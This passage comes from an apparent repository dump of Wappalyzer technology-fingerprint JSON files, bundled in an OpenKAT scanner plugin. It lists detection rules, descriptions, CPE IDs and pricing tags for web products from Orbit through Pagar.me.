[\n      59\n    ],\n    \"description\": \"Orbit is a jQuery slider.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"orbit(?:\\\\.min)?([\\\\d.]{2,}[\\\\d])?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://zurb.com/playground/orbit-jquery-image-slider\"\n  },\n  \"OrbitFox\": {\n    \"cats\": [\n      87,\n      5\n    ],\n    \"description\": \"OrbitFox is a multi-featured WordPress plugin that works with the Elementor, Beaver Builder and Gutenberg site-building utilities by Themeisle.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/themeisle-companion/']\"\n    ],\n    \"icon\": \"OrbitFox.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://themeisle.com/plugins/orbit-fox-companion\"\n  },\n  \"Orchard Core\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:orchardcore:orchard_core:*:*:*:*:*:*:*:*\",\n    \"description\": \"Orchard Core is an open-source modular and multi-tenant application framework built with ASP.NET Core, and a content management system (CMS).\",\n    \"headers\": {\n      \"x-generator\": \"^Orchard$\",\n      \"x-powered-by\": \"OrchardCore\"\n    },\n    \"icon\": \"Orchard Core.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"Orchard\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/OrchardCore\\\\.\"\n    ],\n    \"website\": \"https://orchardcore.net\"\n  },\n  \"Orckestra\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Orckestra is a provider of cloud-based digital unified and omnichannel commerce solutions for retail and manufacturing industries.\",\n    \"headers\": {\n      \"x-orckestra-commerce\": \".NET Client\",\n      \"x-powered-by\": \"Orckestra\"\n    },\n    \"icon\": \"Orckestra.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^C1 CMS Foundation - Free Open Source from Orckestra and https://github.com/Orckestra/C1-CMS-Foundation$\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.orckestra.com\"\n  },\n  \"Order Deadline\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Order Deadline is an estimated delivery, countdown timer, shipping date Shopify app.\",\n    \"icon\": \"Order Deadline.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"orderDeadlineAppByEESL\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/order-deadline\"\n  },\n  \"OrderCast\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"OrderCast is a B2B ecommerce platform focused on streamlining wholesale operations, offering SKU management, order handling, and customisable online store features for improved customer experience.\",\n    \"icon\": \"OrderCast.svg\",\n    \"implies\": [\n      \"Python\",\n      \"React\"\n    ],\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"url\": [\n      \"\\\\.(?:eu|us1)\\\\.ordercast\\\\.io/\"\n    ],\n    \"website\": \"https://www.ordercast.io\"\n  },\n  \"OrderLogic app\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"OrderLogic app allows you to define minimum and maximum product quantities for all products in your Shopify store.\",\n    \"icon\": \"OrderLogic app.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"OrderLogic.ALERTS_KEY\": \"\",\n      \"OrderLogic.DEFAULT_MONEY_FORMAT\": \"\",\n      \"OrderLogic.cartData\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/orderlogic\"\n  },\n  \"OrderMyGear\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"omg_redesigned_cart\": \"\"\n    },\n    \"description\": \"OrderMyGear is an online store platform helping dealers, decorators and distributors create custom web stores.\",\n    \"icon\": \"OrderMyGear.svg\",\n    \"js\": {\n      \"BrightSites\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mybrightsites\\\\.com/\"\n    ],\n    \"website\": \"https://www.ordermygear.com\"\n  },\n  \"OrderYOYO\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"OrderYOYO is an online ordering, payment, and marketing software solution provider.\",\n    \"dom\": [\n      \"a[href*='.orderyoyo.com/'][target='_blank']\"\n    ],\n    \"icon\": \"OrderYOYO.png\",\n    \"js\": {\n      \"SmartBannerOY\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://orderyoyo.com\"\n  },\n  \"Ordergroove\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Ordergroove provides a SaaS (Software as a Service) based subscription and membership commerce platform.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.ordergroove\\\\.com\"\n    },\n    \"icon\": \"ordergroove.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.ordergroove\\\\.com/\"\n    ],\n    \"website\": \"https://www.ordergroove.com/\"\n  },\n  \"Ordersify Product Alerts\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Ordersify Product Alerts is a Shopify app which detects automatically product stock and send email alerts to contact immediately after your products are restocked.\",\n    \"icon\": \"Ordersify.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"ORDERSIFY_BIS.stockRemainingSetting\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.ordersify\\\\.com/sdk/productalerts-shopify\\\\.js\"\n    ],\n    \"website\": \"https://ordersify.com/products/product-alerts\"\n  },\n  \"Oreed\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Oreed is an all-in-one learning experience platform, centralizing all organizational learning, training, and development activities.\",\n    \"dom\": [\n      \"body[class*='oreed-lms'], link[href*='.oreed.app/']\"\n    ],\n    \"icon\": \"Oreed.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://oreed.org/en\"\n  },\n  \"OroCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"dom\": [\n      \"script[data-requiremodule^='oro/'], script[data-requiremodule^='oroui/']\"\n    ],\n    \"html\": [\n      \"<script [^>]+data-requiremodule=\\\"oro/\",\n      \"<script [^>]+data-requiremodule=\\\"oroui/\"\n    ],\n    \"icon\": \"orocommerce.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"scriptSrc\": [\n      \"oro\\\\.min\\\\.js\\\\?version=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://oroinc.com\"\n  },\n  \"Ortto\": {\n    \"cats\": [\n      32,\n      97\n    ],\n    \"description\": \"Ortto is a marketing automation and customer data platform that integrates your data, messaging, and analytics into one unified system.\",\n    \"icon\": \"Ortto.svg\",\n    \"js\": {\n      \"AP3_WIDGETS_PREFIX\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ortto.com\"\n  },\n  \"Osano\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Osano is a data privacy platform that helps your website become compliant with laws such as GDPR and CCPA.\",\n    \"icon\": \"Osano.svg\",\n    \"js\": {\n      \"Osano\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cmp\\\\.osano\\\\.com/\"\n    ],\n    \"website\": \"https://www.osano.com\"\n  },\n  \"Osterreichische Post\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Österreichische Post is an Austrian logistics and postal services provider.\",\n    \"icon\": \"Post AG.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bpost\\\\.at\\\\b\",\n      \"\\\\bPost AG\\\\b\",\n      \"\\\\b[ÖO]sterreichische Post\\\\b\"\n    ],\n    \"website\": \"https://www.post.at\"\n  },\n  \"OtterText\": {\n    \"cats\": [\n      32\n    ],\n    \"cookies\": {\n      \"otter_text_session\": \"\"\n    },\n    \"description\": \"OtterText is a platform offering SMS marketing and automation solutions designed to enhance communication and streamline marketing campaigns.\",\n    \"icon\": \"OtterText.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.ottertext\\\\.com\"\n    ],\n    \"website\": \"https://ottertext.com\"\n  },\n  \"OutSystems\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:outsystems:outsystems:*:*:*:*:*:*:*:*\",\n    \"description\": \"OutSystems is a low-code platform which provides tools for companies to develop, deploy and manage omnichannel enterprise applications.\",\n    \"icon\": \"OutSystems.svg\",\n    \"implies\": [\n      \"Windows Server\",\n      \"IIS\"\n    ],\n    \"js\": {\n      \"OutSystemsDebugger\": \"\",\n      \"outsystems\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"scripts/OutSystems(?:[\\\\w]+)?\\\\.js\"\n    ],\n    \"website\": \"https://www.outsystems.com\"\n  },\n  \"OutTheBoxThemes Panoramic\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Panoramic is a fully responsive WordPress theme with a homepage slider by OutTheBoxThemes.\",\n    \"dom\": [\n      \"link#panoramic_customizer_theme_fonts-css\"\n    ],\n    \"icon\": \"OutTheBoxThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/panoramic/.+custom\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.outtheboxthemes.com/wordpress-themes/panoramic\"\n  },\n  \"Outbrain\": {\n    \"cats\": [\n      5,\n      36\n    ],\n    \"description\": \"Outbrain is a web advertising platform that displays boxes of links, known as chumboxes, to pages within websites.\",\n    \"icon\": \"Outbrain.svg\",\n    \"js\": {\n      \"OB_ADV_ID\": \"\",\n      \"OB_releaseVer\": \"^(.+)$\\\\;version:\\\\1\",\n      \"OutbrainPermaLink\": \"\",\n      \"obApi.version\": \"^[\\\\d.]+$\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.outbrain\\\\.com/\"\n    ],\n    \"website\": \"https://www.outbrain.com\"\n  },\n  \"Outlook Web App\": {\n    \"cats\": [\n      30\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:outlook_web_access:*:*:*:*:*:*:*:*\",\n    \"description\": \"Outlook on the web is an information manager web app. It includes a web-based email client, a calendar tool, a contact manager, and a task manager.\",\n    \"headers\": {\n      \"X-OWA-Version\": \"([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<link[^>]+/owa/auth/([\\\\d\\\\.]+)/themes/resources\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Outlook.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"IsOwaPremiumBrowser\": \"\"\n    },\n    \"url\": [\n      \"/owa/auth/log(?:on|off)\\\\.aspx\"\n    ],\n    \"website\": \"https://help.outlook.com\"\n  },\n  \"Ova\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Ova is a website builder platform from Australia.\",\n    \"icon\": \"Ova.svg\",\n    \"js\": {\n      \"cffOptions.placeholder\": \"\\\\.ova\\\\.net\\\\.au/\",\n      \"cffOptions.resized_url\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ova.net.au\"\n  },\n  \"Overblog\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Overblog is a French blog platform that enables users to create and share content.\",\n    \"icon\": \"OverBlog.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.over-blog-kiwi\\\\.com/\"\n    ],\n    \"website\": \"https://www.over-blog.com\"\n  },\n  \"Ownpage\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Ownpage is a technology services provider that enables publishers to personalize their newsletters, websites, and applications, enhancing content delivery for media platforms.\",\n    \"icon\": \"Ownpage.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"script\\\\.ownpage\\\\.fr/\"\n    ],\n    \"scripts\": [\n      \"loadOwnpageScript\"\n    ],\n    \"website\": \"https://www.ownpage.fr\"\n  },\n  \"Oxatis\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Oxatis is a cloud-based ecommerce solution which enables users to create and manage their own online store websites.\",\n    \"icon\": \"Oxatis.svg\",\n    \"meta\": {\n      \"generator\": \"^Oxatis\\\\s\\\\(www\\\\.oxatis\\\\.com\\\\)$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.oxatis.com/\"\n  },\n  \"Oxi Social Login\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Oxi Social Login provides one click login with services like Facebook, Google and many more.\",\n    \"icon\": \"OxiSocialLogin.png\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"social-login\\\\.oxiapps\\\\.com\"\n    ],\n    \"website\": \"https://www.oxiapps.com/\"\n  },\n  \"Oxygen\": {\n    \"cats\": [\n      51,\n      87\n    ],\n    \"description\": \"Oxygen Builder is a tool to build a WordPress website.\",\n    \"html\": [\n      \"<body class=(?:\\\"|')[^\\\"']*oxygen-body\",\n      \"<link [^>]*href=(?:\\\"|')[^>]*wp-content/plugins/oxygen/\"\n    ],\n    \"icon\": \"Oxygen.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"wp-content/plugins/oxygen\"\n    ],\n    \"website\": \"https://oxygenbuilder.com\"\n  },\n  \"ocStore\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ocStore is an online store based on Opencart and open-source.\",\n    \"html\": [\n      \"<!--[^>]+ocStore(?:\\\\s([\\\\d\\\\.a-z]+))?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"ocStore.png\",\n    \"implies\": [\n      \"OpenCart\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://ocstore.com\"\n  },\n  \"onpublix\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"onpublix is a web content management system (CMS) platform for eBusinesses.\",\n    \"icon\": \"onpublix.svg\",\n    \"meta\": {\n      \"generator\": \"^onpublix\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"mid\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.onpublix.de\"\n  },\n  \"osCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"osCsid\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:oscommerce:oscommerce:*:*:*:*:*:*:*:*\",\n    \"description\": \"OsCommerce is an open-source ecommerce and online store-management software program.\",\n    \"html\": [\n      \"<br />Powered by <a href=\\\"https?://www\\\\.oscommerce\\\\.com\",\n      \"<(?:input|a)[^>]+name=\\\"osCsid\\\"\",\n      \"<(?:tr|td|table)class=\\\"[^\\\"]*infoBoxHeading\"\n    ],\n    \"icon\": \"osCommerce.png\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.oscommerce.com\"\n  },\n  \"osTicket\": {\n    \"cats\": [\n      13\n    ],\n    \"cookies\": {\n      \"OSTSESSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:enhancesoft:osticket:*:*:*:*:*:*:*:*\",\n    \"description\": \"osTicket is an open-source support ticket system that allows businesses to manage and streamline customer support requests through a centralized platform, including features for ticket tracking, automation, and reporting.\",\n    \"icon\": \"osTicket.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://osticket.com\"\n  },\n  \"otrs\": {\n    \"cats\": [\n      13\n    ],\n    \"cpe\": \"cpe:2.3:a:otrs:otrs:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"X-Powered-By\": \"OTRS ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<!--\\\\s+OTRS: Copyright\"\n    ],\n    \"icon\": \"otrs.png\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"scriptSrc\": [\n      \"^/otrs-web/js/\"\n    ],\n    \"website\": \"https://www.otrs.com\"\n  },\n  \"ownCloud\": {\n    \"cats\": [\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<a href=\\\"https://owncloud\\\\.com\\\" target=\\\"_blank\\\">ownCloud Inc\\\\.</a><br/>Your Cloud, Your Data, Your Way!\"\n    ],\n    \"icon\": \"ownCloud.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"oc_defaults\": \"\"\n    },\n    \"meta\": {\n      \"apple-itunes-app\": \"app-id=543672169\"\n    },\n    \"website\": \"https://owncloud.org\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/p.json",
    "content": "{\n  \"PARSICO\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"PARSICO is a website builder that simplifies the creation of responsive websites through an intuitive interface.\",\n    \"dom\": [\n      \"script[src*='parsico.js']\"\n    ],\n    \"icon\": \"PARSICO.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://parsico.org/\"\n  },\n  \"PCI Proxy\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"PCI Proxy is a tokenization platform that enables organisations worldwide to embrace a modern approach to payment flexibility and data security.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.datatrans\\\\.(?:com|biz)\"\n    },\n    \"icon\": \"PCI Proxy.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\\.datatrans\\\\.com\"\n    ],\n    \"website\": \"https://www.pci-proxy.com\"\n  },\n  \"PCRecruiter\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"PCRecruiter is an ATS/CRM hybrid SaaS solution for recruiting and sourcing professionals.\",\n    \"icon\": \"PCRecruiter.svg\",\n    \"js\": {\n      \"pcrbaseurl\": \"\\\\.pcrecruiter\\\\.net/\",\n      \"pcrdialog\": \"\",\n      \"pcrframeoptions\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pcrecruiter.net\"\n  },\n  \"PDF.js\": {\n    \"cats\": [\n      19\n    ],\n    \"html\": [\n      \"<\\\\/div>\\\\s*<!-- outerContainer -->\\\\s*<div\\\\s*id=\\\"printContainer\\\"><\\\\/div>\"\n    ],\n    \"icon\": \"PDF.js.svg\",\n    \"js\": {\n      \"PDFJS\": \"\",\n      \"PDFJS.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"_pdfjsCompatibilityChecked\": \"\",\n      \"pdfjsDistBuildPdf.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"pdfjsLib.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"url\": [\n      \"/web/viewer\\\\.html?file=[^&]\\\\.pdf\"\n    ],\n    \"website\": \"https://mozilla.github.io/pdf.js/\"\n  },\n  \"PHP\": {\n    \"cats\": [\n      27\n    ],\n    \"cookies\": {\n      \"PHPSESSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:php:php:*:*:*:*:*:*:*:*\",\n    \"description\": \"PHP is a general-purpose scripting language used for web development.\",\n    \"headers\": {\n      \"Server\": \"php/?([\\\\d.]+)?\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"^php/?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"PHP.svg\",\n    \"url\": [\n      \"\\\\.php(?:$|\\\\?)\"\n    ],\n    \"website\": \"https://php.net\"\n  },\n  \"PHP-Nuke\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:phpnuke:php-nuke:*:*:*:*:*:*:*:*\",\n    \"description\": \"PHP-Nuke is a free, web-based content management system for creating community portals and managing news, originally developed by Francisco Burzi using PHP and MySQL​.\",\n    \"html\": [\n      \"<[^>]+Powered by PHP-Nuke\"\n    ],\n    \"icon\": \"PHP-Nuke.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"PHP-Nuke\"\n    },\n    \"oss\": true,\n    \"website\": \"https://phpnuke.org\"\n  },\n  \"PHPBoost\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"PHPBoost is an open-source CMS that runs on Linux, Windows Server and macOS using PHP and web servers like Apache, Nginx, or IIS.\",\n    \"icon\": \"PHPBoost.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^PHPBoost$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.phpboost.com\"\n  },\n  \"PHPDebugBar\": {\n    \"cats\": [\n      47\n    ],\n    \"icon\": \"phpdebugbar.png\",\n    \"js\": {\n      \"PhpDebugBar\": \"\",\n      \"phpdebugbar\": \"\"\n    },\n    \"scriptSrc\": [\n      \"debugbar.*\\\\.js\"\n    ],\n    \"website\": \"https://phpdebugbar.com/\"\n  },\n  \"PHPFusion\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:phpfusion:phpfusion:*:*:*:*:*:*:*:*\",\n    \"description\": \"PHPFusion is an open-source content management system (CMS) and web application framework written in PHP.\",\n    \"headers\": {\n      \"X-PHPFusion\": \"(.+)$\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"PHP(?:-)?Fusion (.+)$\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"Powered by <a href=\\\"[^>]+phpfusion\",\n      \"Powered by <a href=\\\"[^>]+php-fusion\"\n    ],\n    \"icon\": \"PHPFusion.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://phpfusion.com\"\n  },\n  \"PIXIjs\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"PIXIjs is a free open-source 2D engine used to make animated websites and HTML5 games.\",\n    \"dom\": [\n      \"div[class*='pixi-hitbox']\"\n    ],\n    \"icon\": \"PIXIjs.svg\",\n    \"js\": {\n      \"PIXI\": \"\",\n      \"PIXI.VERSION\": \"^(.+)$\\\\;version:\\\\1\",\n      \"PIXI_WEBWORKER_URL\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"pixi(?:\\\\.min|-legacy)?\\\\.js$\"\n    ],\n    \"url\": [\n      \".+\\\\.pixijs\\\\.com\"\n    ],\n    \"website\": \"https://www.pixijs.com\"\n  },\n  \"POLi Payment\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"POLi Payment(formerly known as Centricom) is an online payment service in Australia and New Zealand.\",\n    \"icon\": \"POLi Payment.svg\",\n    \"js\": {\n      \"wc_ga_pro.available_gateways.poli\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.polipayments.com\"\n  },\n  \"POWR\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"POWR is a cloud-based system of plugins that work on almost any website.\",\n    \"icon\": \"POWR.svg\",\n    \"js\": {\n      \"POWR_RECEIVERS\": \"\",\n      \"loadPowr\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.powr\\\\.io/powr\\\\.js\"\n    ],\n    \"website\": \"https://www.powr.io\"\n  },\n  \"PRONOTE\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"PRONOTE is an information system created by Index Education, a French company, designed for deployment in approximately 7,400 schools to enable streamlined communication among administrative personnel, teachers, and families.\",\n    \"headers\": {\n      \"Server\": \"^PRONOTE\\\\s[\\\\d]{4}\\\\s-\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"PRONOTE.png\",\n    \"meta\": {\n      \"application-name\": \"^PRONOTE$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.index-education.com/fr/logiciel-gestion-vie-scolaire.php\"\n  },\n  \"PTminder\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"PTminder is a business management platform designed for personal trainers.\",\n    \"icon\": \"PTMinder.svg\",\n    \"js\": {\n      \"ptminder_clients_auth\": \"\",\n      \"ptminder_jsonp\": \"\",\n      \"ptminder_jsonp_forgot_password\": \"\",\n      \"ptminder_jsonp_keep_logged\": \"\",\n      \"ptminder_jsonp_sign_up\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ptminder.com\"\n  },\n  \"PWA\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Progressive Web Apps (PWAs) are web apps built and enhanced with modern APIs to deliver enhanced capabilities, reliability, and installability while reaching anyone, anywhere, on any device, all with a single codebase.\",\n    \"dom\": [\n      \"link[rel='manifest']\"\n    ],\n    \"icon\": \"PWA.svg\",\n    \"website\": \"https://web.dev/progressive-web-apps/\"\n  },\n  \"PWA Studio\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"PWA Studio is a collection of tools that lets developers build complex Progressive Web Applications on top of Magento 2 or Adobe Commerce stores.\",\n    \"icon\": \"PWA Studio.png\",\n    \"js\": {\n      \"__fetchLocaleData__\": \"\\\\;confidence:50\",\n      \"fetchRootComponent\": \"\\\\;confidence:50\"\n    },\n    \"oss\": true,\n    \"scripts\": [\n      \"RootCmp_CMS_PAGE\"\n    ],\n    \"website\": \"https://developer.adobe.com/commerce/pwa-studio/\"\n  },\n  \"Pace\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"PacePay offers a BNPL (Buy now pay later) solution for merchants.\",\n    \"icon\": \"Pace.svg\",\n    \"js\": {\n      \"pacePay\": \"\",\n      \"rely_month_installment\": \"\",\n      \"rely_shop_currency\": \"\",\n      \"rely_shop_money_format\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"pay\\\\.pacenow\\\\.co\"\n    ],\n    \"website\": \"https://pacenow.co/\"\n  },\n  \"Packery\": {\n    \"cats\": [\n      59,\n      66\n    ],\n    \"description\": \"Packery is a JavaScript library and jQuery plugin that makes gapless and draggable layouts.\",\n    \"icon\": \"Packery.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"packery(?:\\\\.pkgd)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://packery.metafizzy.co/\"\n  },\n  \"Packlink PRO\": {\n    \"cats\": [\n      100,\n      99\n    ],\n    \"description\": \"Packlink PRO is a multicarrier shipping solutions for ecommerce and marketplaces.\",\n    \"icon\": \"Packlink.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"packlink-spf-pro\\\\.appspot\\\\.com/.+myshopify\\\\.com\"\n    ],\n    \"website\": \"https://apps.shopify.com/packlink-pro\"\n  },\n  \"Paddle\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Paddle is a billing and payment gateway for B2B SaaS companies.\",\n    \"icon\": \"Paddle.svg\",\n    \"js\": {\n      \"Paddle.Checkout\": \"\",\n      \"PaddleScriptLocation\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.paddle\\\\.com/paddle/paddle\\\\.js\"\n    ],\n    \"website\": \"https://paddle.com/\"\n  },\n  \"PagSeguro\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"PagSeguro is an online or mobile payment-based ecommerce service for commercial operations.\",\n    \"dom\": [\n      \"form[action*='pagseguro.uol.com.br'][target='pagseguro']\"\n    ],\n    \"icon\": \"PagSeguro.svg\",\n    \"js\": {\n      \"PagSeguroDirectPayment\": \"\",\n      \"_PagSeguroDirectPayment\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pagseguro\\\\.uol\\\\.com\\\\.br/\"\n    ],\n    \"website\": \"https://pagseguro.uol.com.br\"\n  },\n  \"Pagar.me\": {\n    \"cats\": [\n      